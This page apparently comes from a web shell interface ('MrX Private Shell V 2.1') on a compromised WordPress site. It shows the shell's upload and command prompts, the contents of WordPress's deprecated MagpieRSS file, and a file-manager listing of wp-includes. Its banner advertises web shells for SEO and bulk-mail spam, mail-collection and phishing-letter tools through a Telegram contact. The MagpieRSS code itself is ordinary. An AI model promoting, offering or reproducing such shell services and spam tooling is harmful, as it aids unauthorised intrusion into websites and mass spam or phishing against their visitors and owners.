__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
<?php
/**
 * MagpieRSS: a simple RSS integration tool
 *
 * A compiled file for RSS syndication
 *
 * @author Kellan Elliott-McCrea <[email protected]>
 * @version 0.51
 * @license GPL
 *
 * @package External
 * @subpackage MagpieRSS
 * @deprecated 3.0.0 Use SimplePie instead.
 */

/**
 * Deprecated. Use SimplePie (class-simplepie.php) instead.
 */
_deprecated_file( basename( __FILE__ ), '3.0.0', WPINC . '/class-simplepie.php' );

/**
 * Fires before MagpieRSS is loaded, to optionally replace it.
 *
 * @since 2.3.0
 * @deprecated 3.0.0
 */
do_action( 'load_feed_engine' );

/** RSS feed constant. */
define('RSS', 'RSS');
define('ATOM', 'Atom');
define('MAGPIE_USER_AGENT', 'WordPress/' . $GLOBALS['wp_version']);

class MagpieRSS {
	var $parser;
	var $current_item	= array();	// item currently being parsed
	var $items			= array();	// collection of parsed items
	var $channel		= array();	// hash of channel fields
	var $textinput		= array();
	var $image			= array();
	var $feed_type;
	var $feed_version;

	// parser variables
	var $stack				= array(); // parser stack
	var $inchannel			= false;
	var $initem 			= false;
	var $incontent			= false; // if in Atom <content mode="xml"> field
	var $intextinput		= false;
	var $inimage 			= false;
	var $current_field		= '';
	var $current_namespace	= false;

	//var $ERROR = "";

	var $_CONTENT_CONSTRUCTS = array('content', 'summary', 'info', 'title', 'tagline', 'copyright');

	/**
	 * PHP5 constructor.
	 */
	function __construct( $source ) {

		# Check if PHP xml isn't compiled
		#
		if ( ! function_exists('xml_parser_create') ) {
			wp_trigger_error( '', "PHP's XML extension is not available. Please contact your hosting provider to enable PHP's XML extension." );
			return;
		}

		$parser = xml_parser_create();

		$this->parser = $parser;

		# pass in parser, and a reference to this object
		# set up handlers
		#
		xml_set_element_handler($this->parser,
				array( $this, 'feed_start_element' ), array( $this, 'feed_end_element' ) );

		xml_set_character_data_handler( $this->parser, array( $this, 'feed_cdata' ) );

		$status = xml_parse( $this->parser, $source );

		if (! $status ) {
			$errorcode = xml_get_error_code( $this->parser );
			if ( $errorcode != XML_ERROR_NONE ) {
				$xml_error = xml_error_string( $errorcode );
				$error_line = xml_get_current_line_number($this->parser);
				$error_col = xml_get_current_column_number($this->parser);
				$errormsg = "$xml_error at line $error_line, column $error_col";

				$this->error( $errormsg );
			}
		}

		if ( PHP_VERSION_ID < 80000 ) { // xml_parser_free() has no effect as of PHP 8.0.
			xml_parser_free( $this->parser );
		}

		unset( $this->parser );

		$this->normalize();
	}

	/**
	 * PHP4 constructor.
	 */
	public function MagpieRSS( $source ) {
		self::__construct( $source );
	}

	function feed_start_element($p, $element, &$attrs) {
		$el = $element = strtolower($element);
		$attrs = array_change_key_case($attrs, CASE_LOWER);

		// check for a namespace, and split if found
		$ns	= false;
		if ( strpos( $element, ':' ) ) {
			list($ns, $el) = explode( ':', $element, 2);
		}
		if ( $ns and $ns != 'rdf' ) {
			$this->current_namespace = $ns;
		}

		# if feed type isn't set, then this is first element of feed
		# identify feed from root element
		#
		if (!isset($this->feed_type) ) {
			if ( $el == 'rdf' ) {
				$this->feed_type = RSS;
				$this->feed_version = '1.0';
			}
			elseif ( $el == 'rss' ) {
				$this->feed_type = RSS;
				$this->feed_version = $attrs['version'];
			}
			elseif ( $el == 'feed' ) {
				$this->feed_type = ATOM;
				$this->feed_version = $attrs['version'];
				$this->inchannel = true;
			}
			return;
		}

		if ( $el == 'channel' )
		{
			$this->inchannel = true;
		}
		elseif ($el == 'item' or $el == 'entry' )
		{
			$this->initem = true;
			if ( isset($attrs['rdf:about']) ) {
				$this->current_item['about'] = $attrs['rdf:about'];
			}
		}

		// if we're in the default namespace of an RSS feed,
		//  record textinput or image fields
		elseif (
			$this->feed_type == RSS and
			$this->current_namespace == '' and
			$el == 'textinput' )
		{
			$this->intextinput = true;
		}

		elseif (
			$this->feed_type == RSS and
			$this->current_namespace == '' and
			$el == 'image' )
		{
			$this->inimage = true;
		}

		# handle atom content constructs
		elseif ( $this->feed_type == ATOM and in_array($el, $this->_CONTENT_CONSTRUCTS) )
		{
			// avoid clashing w/ RSS mod_content
			if ($el == 'content' ) {
				$el = 'atom_content';
			}

			$this->incontent = $el;

		}

		// if inside an Atom content construct (e.g. content or summary) field treat tags as text
		elseif ($this->feed_type == ATOM and $this->incontent )
		{
			// if tags are inlined, then flatten
			$attrs_str = join(' ',
					array_map(array('MagpieRSS', 'map_attrs'),
					array_keys($attrs),
					array_values($attrs) ) );

			$this->append_content( "<$element $attrs_str>"  );

			array_unshift( $this->stack, $el );
		}

		// Atom support many links per containing element.
		// Magpie treats link elements of type rel='alternate'
		// as being equivalent to RSS's simple link element.
		//
		elseif ($this->feed_type == ATOM and $el == 'link' )
		{
			if ( isset($attrs['rel']) and $attrs['rel'] == 'alternate' )
			{
				$link_el = 'link';
			}
			else {
				$link_el = 'link_' . $attrs['rel'];
			}

			$this->append($link_el, $attrs['href']);
		}
		// set stack[0] to current element
		else {
			array_unshift($this->stack, $el);
		}
	}

	function feed_cdata ($p, $text) {

		if ($this->feed_type == ATOM and $this->incontent)
		{
			$this->append_content( $text );
		}
		else {
			$current_el = join('_', array_reverse($this->stack));
			$this->append($current_el, $text);
		}
	}

	function feed_end_element ($p, $el) {
		$el = strtolower($el);

		if ( $el == 'item' or $el == 'entry' )
		{
			$this->items[] = $this->current_item;
			$this->current_item = array();
			$this->initem = false;
		}
		elseif ($this->feed_type == RSS and $this->current_namespace == '' and $el == 'textinput' )
		{
			$this->intextinput = false;
		}
		elseif ($this->feed_type == RSS and $this->current_namespace == '' and $el == 'image' )
		{
			$this->inimage = false;
		}
		elseif ($this->feed_type == ATOM and in_array($el, $this->_CONTENT_CONSTRUCTS) )
		{
			$this->incontent = false;
		}
		elseif ($el == 'channel' or $el == 'feed' )
		{
			$this->inchannel = false;
		}
		elseif ($this->feed_type == ATOM and $this->incontent  ) {
			// balance tags properly
			// note: This may not actually be necessary
			if ( $this->stack[0] == $el )
			{
				$this->append_content("</$el>");
			}
			else {
				$this->append_content("<$el />");
			}

			array_shift( $this->stack );
		}
		else {
			array_shift( $this->stack );
		}

		$this->current_namespace = false;
	}

	function concat (&$str1, $str2="") {
		if (!isset($str1) ) {
			$str1="";
		}
		$str1 .= $str2;
	}

	function append_content($text) {
		if ( $this->initem ) {
			$this->concat( $this->current_item[ $this->incontent ], $text );
		}
		elseif ( $this->inchannel ) {
			$this->concat( $this->channel[ $this->incontent ], $text );
		}
	}

	// smart append - field and namespace aware
	function append($el, $text) {
		if (!$el) {
			return;
		}
		if ( $this->current_namespace )
		{
			if ( $this->initem ) {
				$this->concat(
					$this->current_item[ $this->current_namespace ][ $el ], $text);
			}
			elseif ($this->inchannel) {
				$this->concat(
					$this->channel[ $this->current_namespace][ $el ], $text );
			}
			elseif ($this->intextinput) {
				$this->concat(
					$this->textinput[ $this->current_namespace][ $el ], $text );
			}
			elseif ($this->inimage) {
				$this->concat(
					$this->image[ $this->current_namespace ][ $el ], $text );
			}
		}
		else {
			if ( $this->initem ) {
				$this->concat(
					$this->current_item[ $el ], $text);
			}
			elseif ($this->intextinput) {
				$this->concat(
					$this->textinput[ $el ], $text );
			}
			elseif ($this->inimage) {
				$this->concat(
					$this->image[ $el ], $text );
			}
			elseif ($this->inchannel) {
				$this->concat(
					$this->channel[ $el ], $text );
			}

		}
	}

	function normalize () {
		// if atom populate rss fields
		if ( $this->is_atom() ) {
			$this->channel['description'] = $this->channel['tagline'];
			for ( $i = 0; $i < count($this->items); $i++) {
				$item = $this->items[$i];
				if ( isset($item['summary']) )
					$item['description'] = $item['summary'];
				if ( isset($item['atom_content']))
					$item['content']['encoded'] = $item['atom_content'];

				$this->items[$i] = $item;
			}
		}
		elseif ( $this->is_rss() ) {
			$this->channel['tagline'] = $this->channel['description'];
			for ( $i = 0; $i < count($this->items); $i++) {
				$item = $this->items[$i];
				if ( isset($item['description']))
					$item['summary'] = $item['description'];
				if ( isset($item['content']['encoded'] ) )
					$item['atom_content'] = $item['content']['encoded'];

				$this->items[$i] = $item;
			}
		}
	}

	function is_rss () {
		if ( $this->feed_type == RSS ) {
			return $this->feed_version;
		}
		else {
			return false;
		}
	}

	function is_atom() {
		if ( $this->feed_type == ATOM ) {
			return $this->feed_version;
		}
		else {
			return false;
		}
	}

	function map_attrs($k, $v) {
		return "$k=\"$v\"";
	}

	function error( $errormsg, $lvl = E_USER_WARNING ) {
		if ( MAGPIE_DEBUG ) {
			wp_trigger_error('', $errormsg, $lvl);
		} else {
			error_log( $errormsg, 0);
		}
	}

}

if ( !function_exists('fetch_rss') ) :
/**
 * Build Magpie object based on RSS from URL.
 *
 * @since 1.5.0
 * @package External
 * @subpackage MagpieRSS
 *
 * @param string $url URL to retrieve feed.
 * @return MagpieRSS|false MagpieRSS object on success, false on failure.
 */
function fetch_rss ($url) {
	// initialize constants
	init();

	if ( !isset($url) ) {
		// error("fetch_rss called without a url");
		return false;
	}

	// if cache is disabled
	if ( !MAGPIE_CACHE_ON ) {
		// fetch file, and parse it
		$resp = _fetch_remote_file( $url );
		if ( is_success( $resp->status ) ) {
			return _response_to_rss( $resp );
		}
		else {
			// error("Failed to fetch $url and cache is off");
			return false;
		}
	}
	// else cache is ON
	else {
		// Flow
		// 1. check cache
		// 2. if there is a hit, make sure it's fresh
		// 3. if cached obj fails freshness check, fetch remote
		// 4. if remote fails, return stale object, or error

		$cache = new RSSCache( MAGPIE_CACHE_DIR, MAGPIE_CACHE_AGE );

		if (MAGPIE_DEBUG and $cache->ERROR) {
			debug($cache->ERROR, E_USER_WARNING);
		}

		$cache_status 	 = 0;		// response of check_cache
		$request_headers = array(); // HTTP headers to send with fetch
		$rss 			 = 0;		// parsed RSS object
		$errormsg		 = 0;		// errors, if any

		if (!$cache->ERROR) {
			// return cache HIT, MISS, or STALE
			$cache_status = $cache->check_cache( $url );
		}

		// if object cached, and cache is fresh, return cached obj
		if ( $cache_status == 'HIT' ) {
			$rss = $cache->get( $url );
			if ( isset($rss) and $rss ) {
				$rss->from_cache = 1;
				if ( MAGPIE_DEBUG > 1) {
				debug("MagpieRSS: Cache HIT", E_USER_NOTICE);
			}
				return $rss;
			}
		}

		// else attempt a conditional get

		// set up headers
		if ( $cache_status == 'STALE' ) {
			$rss = $cache->get( $url );
			if ( isset($rss->etag) and $rss->last_modified ) {
				$request_headers['If-None-Match'] = $rss->etag;
				$request_headers['If-Last-Modified'] = $rss->last_modified;
			}
		}

		$resp = _fetch_remote_file( $url, $request_headers );

		if (isset($resp) and $resp) {
			if ($resp->status == '304' ) {
				// we have the most current copy
				if ( MAGPIE_DEBUG > 1) {
					debug("Got 304 for $url");
				}
				// reset cache on 304 (at minutillo insistent prodding)
				$cache->set($url, $rss);
				return $rss;
			}
			elseif ( is_success( $resp->status ) ) {
				$rss = _response_to_rss( $resp );
				if ( $rss ) {
					if (MAGPIE_DEBUG > 1) {
						debug("Fetch successful");
					}
					// add object to cache
					$cache->set( $url, $rss );
					return $rss;
				}
			}
			else {
				$errormsg = "Failed to fetch $url. ";
				if ( $resp->error ) {
					# compensate for Snoopy's annoying habit to tacking
					# on '\n'
					$http_error = substr($resp->error, 0, -2);
					$errormsg .= "(HTTP Error: $http_error)";
				}
				else {
					$errormsg .=  "(HTTP Response: " . $resp->response_code .')';
				}
			}
		}
		else {
			$errormsg = "Unable to retrieve RSS file for unknown reasons.";
		}

		// else fetch failed

		// attempt to return cached object
		if ($rss) {
			if ( MAGPIE_DEBUG ) {
				debug("Returning STALE object for $url");
			}
			return $rss;
		}

		// else we totally failed
		// error( $errormsg );

		return false;

	} // end if ( !MAGPIE_CACHE_ON ) {
} // end fetch_rss()
endif;

/**
 * Retrieve URL headers and content using WP HTTP Request API.
 *
 * @since 1.5.0
 * @package External
 * @subpackage MagpieRSS
 *
 * @param string $url URL to retrieve
 * @param array $headers Optional. Headers to send to the URL. Default empty string.
 * @return Snoopy style response
 */
function _fetch_remote_file($url, $headers = "" ) {
	$resp = wp_safe_remote_request( $url, array( 'headers' => $headers, 'timeout' => MAGPIE_FETCH_TIME_OUT ) );
	if ( is_wp_error($resp) ) {
		$error = array_shift($resp->errors);

		$resp = new stdClass;
		$resp->status = 500;
		$resp->response_code = 500;
		$resp->error = $error[0] . "\n"; //\n = Snoopy compatibility
		return $resp;
	}

	// Snoopy returns headers unprocessed.
	// Also note, WP_HTTP lowercases all keys, Snoopy did not.
	$return_headers = array();
	foreach ( wp_remote_retrieve_headers( $resp ) as $key => $value ) {
		if ( !is_array($value) ) {
			$return_headers[] = "$key: $value";
		} else {
			foreach ( $value as $v )
				$return_headers[] = "$key: $v";
		}
	}

	$response = new stdClass;
	$response->status = wp_remote_retrieve_response_code( $resp );
	$response->response_code = wp_remote_retrieve_response_code( $resp );
	$response->headers = $return_headers;
	$response->results = wp_remote_retrieve_body( $resp );

	return $response;
}

/**
 * Retrieve
 *
 * @since 1.5.0
 * @package External
 * @subpackage MagpieRSS
 *
 * @param array $resp
 * @return MagpieRSS|bool
 */
function _response_to_rss ($resp) {
	$rss = new MagpieRSS( $resp->results );

	// if RSS parsed successfully
	if ( $rss && (!isset($rss->ERROR) || !$rss->ERROR) ) {

		// find Etag, and Last-Modified
		foreach ( (array) $resp->headers as $h) {
			// 2003-03-02 - Nicola Asuni (www.tecnick.com) - fixed bug "Undefined offset: 1"
			if (strpos($h, ": ")) {
				list($field, $val) = explode(": ", $h, 2);
			}
			else {
				$field = $h;
				$val = "";
			}

			if ( $field == 'etag' ) {
				$rss->etag = $val;
			}

			if ( $field == 'last-modified' ) {
				$rss->last_modified = $val;
			}
		}

		return $rss;
	} // else construct error message
	else {
		$errormsg = "Failed to parse RSS file.";

		if ($rss) {
			$errormsg .= " (" . $rss->ERROR . ")";
		}
		// error($errormsg);

		return false;
	} // end if ($rss and !$rss->error)
}

/**
 * Set up constants with default values, unless user overrides.
 *
 * @since 1.5.0
 * 
 * @global string $wp_version The WordPress version string.
 * 
 * @package External
 * @subpackage MagpieRSS
 */
function init () {
	if ( defined('MAGPIE_INITALIZED') ) {
		return;
	}
	else {
		define('MAGPIE_INITALIZED', 1);
	}

	if ( !defined('MAGPIE_CACHE_ON') ) {
		define('MAGPIE_CACHE_ON', 1);
	}

	if ( !defined('MAGPIE_CACHE_DIR') ) {
		define('MAGPIE_CACHE_DIR', './cache');
	}

	if ( !defined('MAGPIE_CACHE_AGE') ) {
		define('MAGPIE_CACHE_AGE', 60*60); // one hour
	}

	if ( !defined('MAGPIE_CACHE_FRESH_ONLY') ) {
		define('MAGPIE_CACHE_FRESH_ONLY', 0);
	}

		if ( !defined('MAGPIE_DEBUG') ) {
		define('MAGPIE_DEBUG', 0);
	}

	if ( !defined('MAGPIE_USER_AGENT') ) {
		$ua = 'WordPress/' . $GLOBALS['wp_version'];

		if ( MAGPIE_CACHE_ON ) {
			$ua = $ua . ')';
		}
		else {
			$ua = $ua . '; No cache)';
		}

		define('MAGPIE_USER_AGENT', $ua);
	}

	if ( !defined('MAGPIE_FETCH_TIME_OUT') ) {
		define('MAGPIE_FETCH_TIME_OUT', 2);	// 2 second timeout
	}

	// use gzip encoding to fetch rss files if supported?
	if ( !defined('MAGPIE_USE_GZIP') ) {
		define('MAGPIE_USE_GZIP', true);
	}
}

function is_info ($sc) {
	return $sc >= 100 && $sc < 200;
}

function is_success ($sc) {
	return $sc >= 200 && $sc < 300;
}

function is_redirect ($sc) {
	return $sc >= 300 && $sc < 400;
}

function is_error ($sc) {
	return $sc >= 400 && $sc < 600;
}

function is_client_error ($sc) {
	return $sc >= 400 && $sc < 500;
}

function is_server_error ($sc) {
	return $sc >= 500 && $sc < 600;
}

class RSSCache {
	var $BASE_CACHE;	// where the cache files are stored
	var $MAX_AGE	= 43200;  		// when are files stale, default twelve hours
	var $ERROR 		= '';			// accumulate error messages

	/**
	 * PHP5 constructor.
	 */
	function __construct( $base = '', $age = '' ) {
		$this->BASE_CACHE = WP_CONTENT_DIR . '/cache';
		if ( $base ) {
			$this->BASE_CACHE = $base;
		}
		if ( $age ) {
			$this->MAX_AGE = $age;
		}

	}

	/**
	 * PHP4 constructor.
	 */
	public function RSSCache( $base = '', $age = '' ) {
		self::__construct( $base, $age );
	}

/*=======================================================================*\
	Function:	set
	Purpose:	add an item to the cache, keyed on url
	Input:		url from which the rss file was fetched
	Output:		true on success
\*=======================================================================*/
	function set ($url, $rss) {
		$cache_option = 'rss_' . $this->file_name( $url );

		set_transient($cache_option, $rss, $this->MAX_AGE);

		return $cache_option;
	}

/*=======================================================================*\
	Function:	get
	Purpose:	fetch an item from the cache
	Input:		url from which the rss file was fetched
	Output:		cached object on HIT, false on MISS
\*=======================================================================*/
	function get ($url) {
		$this->ERROR = "";
		$cache_option = 'rss_' . $this->file_name( $url );

		if ( ! $rss = get_transient( $cache_option ) ) {
			$this->debug(
				"Cache does not contain: $url (cache option: $cache_option)"
			);
			return 0;
		}

		return $rss;
	}

/*=======================================================================*\
	Function:	check_cache
	Purpose:	check a url for membership in the cache
				and whether the object is older then MAX_AGE (ie. STALE)
	Input:		url from which the rss file was fetched
	Output:		cached object on HIT, false on MISS
\*=======================================================================*/
	function check_cache ( $url ) {
		$this->ERROR = "";
		$cache_option = 'rss_' . $this->file_name( $url );

		if ( get_transient($cache_option) ) {
			// object exists and is current
				return 'HIT';
		} else {
			// object does not exist
			return 'MISS';
		}
	}

/*=======================================================================*\
	Function:	serialize
\*=======================================================================*/
	function serialize ( $rss ) {
		return serialize( $rss );
	}

/*=======================================================================*\
	Function:	unserialize
\*=======================================================================*/
	function unserialize ( $data ) {
		return unserialize( $data );
	}

/*=======================================================================*\
	Function:	file_name
	Purpose:	map url to location in cache
	Input:		url from which the rss file was fetched
	Output:		a file name
\*=======================================================================*/
	function file_name ($url) {
		return md5( $url );
	}

/*=======================================================================*\
	Function:	error
	Purpose:	register error
\*=======================================================================*/
	function error ($errormsg, $lvl=E_USER_WARNING) {
		$this->ERROR = $errormsg;
		if ( MAGPIE_DEBUG ) {
			wp_trigger_error( '', $errormsg, $lvl);
		}
		else {
			error_log( $errormsg, 0);
		}
	}
			function debug ($debugmsg, $lvl=E_USER_NOTICE) {
		if ( MAGPIE_DEBUG ) {
			$this->error("MagpieRSS [debug] $debugmsg", $lvl);
		}
	}
}

if ( !function_exists('parse_w3cdtf') ) :
function parse_w3cdtf ( $date_str ) {

	# regex to match W3C date/time formats
	$pat = "/(\d{4})-(\d{2})-(\d{2})T(\d{2}):(\d{2})(:(\d{2}))?(?:([-+])(\d{2}):?(\d{2})|(Z))?/";

	if ( preg_match( $pat, $date_str, $match ) ) {
		list( $year, $month, $day, $hours, $minutes, $seconds) =
			array( $match[1], $match[2], $match[3], $match[4], $match[5], $match[7]);

		# calc epoch for current date assuming GMT
		$epoch = gmmktime( $hours, $minutes, $seconds, $month, $day, $year);

		$offset = 0;
		if ( $match[11] == 'Z' ) {
			# zulu time, aka GMT
		}
		else {
			list( $tz_mod, $tz_hour, $tz_min ) =
				array( $match[8], $match[9], $match[10]);

			# zero out the variables
			if ( ! $tz_hour ) { $tz_hour = 0; }
			if ( ! $tz_min ) { $tz_min = 0; }

			$offset_secs = (($tz_hour*60)+$tz_min)*60;

			# is timezone ahead of GMT?  then subtract offset
			#
			if ( $tz_mod == '+' ) {
				$offset_secs = $offset_secs * -1;
			}

			$offset = $offset_secs;
		}
		$epoch = $epoch + $offset;
		return $epoch;
	}
	else {
		return -1;
	}
}
endif;

if ( !function_exists('wp_rss') ) :
/**
 * Display all RSS items in a HTML ordered list.
 *
 * @since 1.5.0
 * @package External
 * @subpackage MagpieRSS
 *
 * @param string $url URL of feed to display. Will not auto sense feed URL.
 * @param int $num_items Optional. Number of items to display, default is all.
 */
function wp_rss( $url, $num_items = -1 ) {
	if ( $rss = fetch_rss( $url ) ) {
		echo '<ul>';

		if ( $num_items !== -1 ) {
			$rss->items = array_slice( $rss->items, 0, $num_items );
		}

		foreach ( (array) $rss->items as $item ) {
			printf(
				'<li><a href="%1$s" title="%2$s">%3$s</a></li>',
				esc_url( $item['link'] ),
				esc_attr( strip_tags( $item['description'] ) ),
				esc_html( $item['title'] )
			);
		}

		echo '</ul>';
	} else {
		_e( 'An error has occurred, which probably means the feed is down. Try again later.' );
	}
}
endif;

if ( !function_exists('get_rss') ) :
/**
 * Display RSS items in HTML list items.
 *
 * You have to specify which HTML list you want, either ordered or unordered
 * before using the function. You also have to specify how many items you wish
 * to display. You can't display all of them like you can with wp_rss()
 * function.
 *
 * @since 1.5.0
 * @package External
 * @subpackage MagpieRSS
 *
 * @param string $url URL of feed to display. Will not auto sense feed URL.
 * @param int $num_items Optional. Number of items to display, default is all.
 * @return bool False on failure.
 */
function get_rss ($url, $num_items = 5) { // Like get posts, but for RSS
	$rss = fetch_rss($url);
	if ( $rss ) {
		$rss->items = array_slice($rss->items, 0, $num_items);
		foreach ( (array) $rss->items as $item ) {
			echo "<li>\n";
			echo "<a href='$item[link]' title='$item[description]'>";
			echo esc_html($item['title']);
			echo "</a><br />\n";
			echo "</li>\n";
		}
	} else {
		return false;
	}
}
endif;

Filemanager

Name Type Size Permission Actions
ID3 Folder 6775
IXR Folder 6775
PHPMailer Folder 6775
Requests Folder 6775
SimplePie Folder 6775
Text Folder 6775
abilities-api Folder 0775
assets Folder 6775
block-bindings Folder 6775
block-patterns Folder 6775
block-supports Folder 6775
blocks Folder 6775
certificates Folder 6775
css Folder 6775
customize Folder 6775
fonts Folder 6775
html-api Folder 6775
images Folder 6775
interactivity-api Folder 6775
js Folder 6775
l10n Folder 6775
php-compat Folder 6775
pomo Folder 6775
rest-api Folder 6775
sitemaps Folder 6775
sodium_compat Folder 6775
style-engine Folder 6775
theme-compat Folder 6775
widgets Folder 6775
abilities-api.php File 23.8 KB 0775
abilities.php File 7.8 KB 0775
admin-bar.php File 36.1 KB 0775
atomlib.php File 11.9 KB 0775
author-template.php File 18.94 KB 0775
block-bindings.php File 7.35 KB 0775
block-editor.php File 28.6 KB 0775
block-i18n.json File 316 B 0775
block-patterns.php File 12.9 KB 0775
block-template-utils.php File 61.02 KB 0775
block-template.php File 15 KB 0775
blocks.php File 112.05 KB 0775
bookmark-template.php File 12.47 KB 0775
bookmark.php File 15.07 KB 0775
cache-compat.php File 9.84 KB 0775
cache.php File 13.17 KB 0775
canonical.php File 33.83 KB 0775
capabilities.php File 42.63 KB 0775
category-template.php File 55.71 KB 0775
category.php File 12.53 KB 0775
class-IXR.php File 2.55 KB 0775
class-avif-info.php File 28.92 KB 0775
class-feed.php File 539 B 0775
class-http.php File 367 B 0775
class-json.php File 42.65 KB 0775
class-oembed.php File 401 B 0775
class-phpass.php File 6.61 KB 0775
class-phpmailer.php File 664 B 0775
class-pop3.php File 20.63 KB 0775
class-requests.php File 2.18 KB 0775
class-simplepie.php File 453 B 0775
class-smtp.php File 457 B 0775
class-snoopy.php File 36.83 KB 0775
class-walker-category-dropdown.php File 2.41 KB 0775
class-walker-category.php File 8.28 KB 0775
class-walker-comment.php File 13.89 KB 0775
class-walker-nav-menu.php File 11.76 KB 0775
class-walker-page-dropdown.php File 2.65 KB 0775
class-walker-page.php File 7.43 KB 0775
class-wp-admin-bar.php File 17.46 KB 0775
class-wp-ajax-response.php File 5.14 KB 0775
class-wp-application-passwords.php File 16.7 KB 0775
class-wp-block-bindings-registry.php File 8.28 KB 0775
class-wp-block-bindings-source.php File 2.92 KB 0775
class-wp-block-editor-context.php File 1.32 KB 0775
class-wp-block-list.php File 4.6 KB 0775
class-wp-block-metadata-registry.php File 11.62 KB 0775
class-wp-block-parser-block.php File 2.5 KB 0775
class-wp-block-parser-frame.php File 1.97 KB 0775
class-wp-block-parser.php File 11.25 KB 0775
class-wp-block-pattern-categories-registry.php File 5.32 KB 0775
class-wp-block-patterns-registry.php File 10.6 KB 0775
class-wp-block-processor.php File 67.84 KB 0775
class-wp-block-styles-registry.php File 6.34 KB 0775
class-wp-block-supports.php File 5.49 KB 0775
class-wp-block-template.php File 1.99 KB 0775
class-wp-block-templates-registry.php File 7.02 KB 0775
class-wp-block-type-registry.php File 4.91 KB 0775
class-wp-block-type.php File 16.86 KB 0775
class-wp-block.php File 24.23 KB 0775
class-wp-classic-to-block-menu-converter.php File 3.97 KB 0775
class-wp-comment-query.php File 47.66 KB 0775
class-wp-comment.php File 9.22 KB 0775
class-wp-customize-control.php File 25.51 KB 0775
class-wp-customize-manager.php File 198.38 KB 0775
class-wp-customize-nav-menus.php File 56.65 KB 0775
class-wp-customize-panel.php File 10.46 KB 0775
class-wp-customize-section.php File 10.95 KB 0775
class-wp-customize-setting.php File 29.26 KB 0775
class-wp-customize-widgets.php File 70.91 KB 0775
class-wp-date-query.php File 35.3 KB 0775
class-wp-dependencies.php File 15.02 KB 0775
class-wp-dependency.php File 2.57 KB 0775
class-wp-duotone.php File 39.83 KB 0775
class-wp-editor.php File 70.64 KB 0775
class-wp-embed.php File 15.56 KB 0775
class-wp-error.php File 7.33 KB 0775
class-wp-exception.php File 253 B 0775
class-wp-fatal-error-handler.php File 7.96 KB 0775
class-wp-feed-cache-transient.php File 3.23 KB 0775
class-wp-feed-cache.php File 969 B 0775
class-wp-hook.php File 16.28 KB 0775
class-wp-http-cookie.php File 7.22 KB 0775
class-wp-http-curl.php File 12.95 KB 0775
class-wp-http-encoding.php File 6.53 KB 0775
class-wp-http-ixr-client.php File 3.42 KB 0775
class-wp-http-proxy.php File 5.84 KB 0775
class-wp-http-requests-hooks.php File 1.97 KB 0775
class-wp-http-requests-response.php File 4.3 KB 0775
class-wp-http-response.php File 2.91 KB 0775
class-wp-http-streams.php File 16.46 KB 0775
class-wp-http.php File 40.6 KB 0775
class-wp-image-editor-gd.php File 20.22 KB 0775
class-wp-image-editor-imagick.php File 36.11 KB 0775
class-wp-image-editor.php File 17.01 KB 0775
class-wp-list-util.php File 7.27 KB 0775
class-wp-locale-switcher.php File 6.62 KB 0775
class-wp-locale.php File 16.49 KB 0775
class-wp-matchesmapregex.php File 1.79 KB 0775
class-wp-meta-query.php File 29.82 KB 0775
class-wp-metadata-lazyloader.php File 6.67 KB 0775
class-wp-navigation-fallback.php File 8.98 KB 0775
class-wp-network-query.php File 19.42 KB 0775
class-wp-network.php File 12.01 KB 0775
class-wp-object-cache.php File 17.11 KB 0775
class-wp-oembed-controller.php File 6.74 KB 0775
class-wp-oembed.php File 30.93 KB 0775
class-wp-paused-extensions-storage.php File 4.99 KB 0775
class-wp-phpmailer.php File 4.25 KB 0775
class-wp-plugin-dependencies.php File 24.72 KB 0775
class-wp-post-type.php File 29.96 KB 0775
class-wp-post.php File 6.34 KB 0775
class-wp-query.php File 159.91 KB 0775
class-wp-recovery-mode-cookie-service.php File 6.72 KB 0775
class-wp-recovery-mode-email-service.php File 10.92 KB 0775
class-wp-recovery-mode-key-service.php File 4.77 KB 0775
class-wp-recovery-mode-link-service.php File 3.38 KB 0775
class-wp-recovery-mode.php File 11.18 KB 0775
class-wp-rewrite.php File 62.19 KB 0775
class-wp-role.php File 2.46 KB 0775
class-wp-roles.php File 9.17 KB 0775
class-wp-script-modules.php File 31.13 KB 0775
class-wp-scripts.php File 33.38 KB 0775
class-wp-session-tokens.php File 7.15 KB 0775
class-wp-simplepie-file.php File 3.47 KB 0775
class-wp-simplepie-sanitize-kses.php File 1.87 KB 0775
class-wp-site-query.php File 30.91 KB 0775
class-wp-site.php File 7.29 KB 0775
class-wp-speculation-rules.php File 7.35 KB 0775
class-wp-styles.php File 11.86 KB 0775
class-wp-tax-query.php File 19.12 KB 0775
class-wp-taxonomy.php File 18.12 KB 0775
class-wp-term-query.php File 39.99 KB 0775
class-wp-term.php File 5.17 KB 0775
class-wp-text-diff-renderer-inline.php File 979 B 0775
class-wp-text-diff-renderer-table.php File 18.44 KB 0775
class-wp-textdomain-registry.php File 10.24 KB 0775
class-wp-theme-json-data.php File 1.77 KB 0775
class-wp-theme-json-resolver.php File 34.9 KB 0775
class-wp-theme-json-schema.php File 7.19 KB 0775
class-wp-theme-json.php File 160.5 KB 0775
class-wp-theme.php File 64.27 KB 0775
class-wp-token-map.php File 27.95 KB 0775
class-wp-url-pattern-prefixer.php File 4.69 KB 0775
class-wp-user-meta-session-tokens.php File 2.94 KB 0775
class-wp-user-query.php File 43.13 KB 0775
class-wp-user-request.php File 2.25 KB 0775
class-wp-user.php File 22.5 KB 0775
class-wp-walker.php File 13.01 KB 0775
class-wp-widget-factory.php File 3.27 KB 0775
class-wp-widget.php File 18 KB 0775
class-wp-xmlrpc-server.php File 210.4 KB 0775
class-wp.php File 25.86 KB 0775
class-wpdb.php File 115.85 KB 0775
class.wp-dependencies.php File 373 B 0775
class.wp-scripts.php File 343 B 0775
class.wp-styles.php File 338 B 0775
comment-template.php File 100.73 KB 0775
comment.php File 130.93 KB 0775
compat-utf8.php File 19.1 KB 0775
compat.php File 17.41 KB 0775
cron.php File 41.98 KB 0775
date.php File 400 B 0775
default-constants.php File 11.1 KB 0775
